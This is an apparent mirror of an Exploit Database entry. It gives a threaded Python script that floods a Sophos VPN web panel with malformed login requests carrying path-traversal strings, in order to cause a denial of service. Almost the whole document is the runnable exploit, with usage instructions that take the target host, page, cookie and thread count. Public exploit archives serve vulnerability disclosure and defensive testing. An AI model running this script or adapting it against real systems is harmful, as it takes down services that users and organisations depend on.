Sophos VPN Web Panel 2020 – Denial of Service (Poc)

• Exploit Database
• 87 阅读

• 作者： Berk KIRAS
  日期： 2020-07-22
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/48683/

• # Exploit Title: Sophos VPN Web Panel 2020 - Denial of Service (Poc)
  # Date: 2020-06-17
  # Exploit Author: Berk KIRAS
  # Vendor Homepage: https://www.sophos.com/
  # Version:2020 Web Panel
  # Tested on: Apache
  # Berk KIRAS PwC - Cyber Security Specialist 
  # Sophos VPN Web Portal Denial of Service Vulnerability
  # System parse JSON data. If we want to send some JSON with invalid data format 
  #for ex. valid -> {"test","test2"} , invalid -> {"test",PAYLOAD"test2"} 
  # The system can not parse this data fastly and service down
  # payload_option2 ="../../../../../../../../../FILE./FILE"
  
  #!/usr/bin/python3
  
  import requests
  import sys
  import random
  import threading
  
  def send_req():
  cnt = random.randint(9,22)
  payload= "../"*cnt+'{FILE}'
  my_datas_params = {"username":"test",
  payload+"password":"admin",
  "cookie":"0",
  "submit":"<div class=\"login_screen_login_button_left\"></div><div class=\"login_screen_login_button_middle\">Oturum Aç</div><div class=\"login_screen_login_button_right\"></div>",
  "language":"turkish",
  "browser_id":"kbgacsyo-q4j5o7lr70e"}
  
  # You should change some values into the headers
  Host_addr = sys.argv[2]
  Origin=sys.argv[1]+"://"+sys.argv[2]
  Referrer=sys.argv[1]+"://"+sys.argv[2]
  Cookie=sys.argv[4]
  #Headers
  my_datas_headers ={
  "Host":str(Host_addr),
  "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
  "Accept": "text/javascript, text/html, application/xml, text/xml, */*",
  "Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3",
  "Accept-Encoding": "gzip, deflate",
  "X-Requested-With": "XMLHttpRequest",
  "X-Prototype-Version": "1.6.1_rc3",
  "Content-type": "application/json; charset=UTF-8",
  "Origin":Origin,
  "Connection": "close",
  "Referer":Referrer,
  "Cookie":Cookie,
  }
  my_datas_headers2 ={
  "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
  "Accept": "text/javascript, text/html, application/xml, text/xml, */*",
  "Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3",
  "Accept-Encoding": "gzip, deflate",
  "X-Requested-With": "XMLHttpRequest",
  "X-Prototype-Version": "1.6.1_rc3",
  "Content-type": "application/json; charset=UTF-8",
  "Connection": "close",
  }
  #If you want to edit and add headers some headers added
  s = requests.session()
   #if you want simple-> headers={'User-Agent': 'Mozilla', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}
  s.headers.update(my_datas_headers2)
  print(s.headers.items)
  r = s.post(sys.argv[1]+"://"+sys.argv[2]+sys.argv[3],data=my_datas_params)
  
  return s
   
  def main():
  if(len(sys.argv) < 6): 
  print("Usage:1) Implement your headers \n2)change payload if you want \n3) exploit.py <http/https> <domain> <page> <cookie-val> <Thread(1-10)> \nExample-> exploit.py http vpn.test.com /test/index.plx 2\nCoded by b3rkk1r4s | PwC Cyber")
  sys.exit(0)
  else:
  try:
  req_count=0
  while(True):
  if(int(sys.argv[5])==1):
  resp = send_req()
  req_count=req_count+1
  print("Sending Requests... Count: "+str(req_count))
  else:
  threads = int(sys.argv[5])
  jobs = []
  for i in range(0, threads):
  out_list = list()
  thread = threading.Thread(target=send_req)
  jobs.append(thread)
  for j in jobs:
  j.start()
  print("Jobs Started!")
  # Ensure all of the threads have finished
  for j in jobs:
  j.join()
  
  except Exception:
  print(Exception)
  
  main()
  

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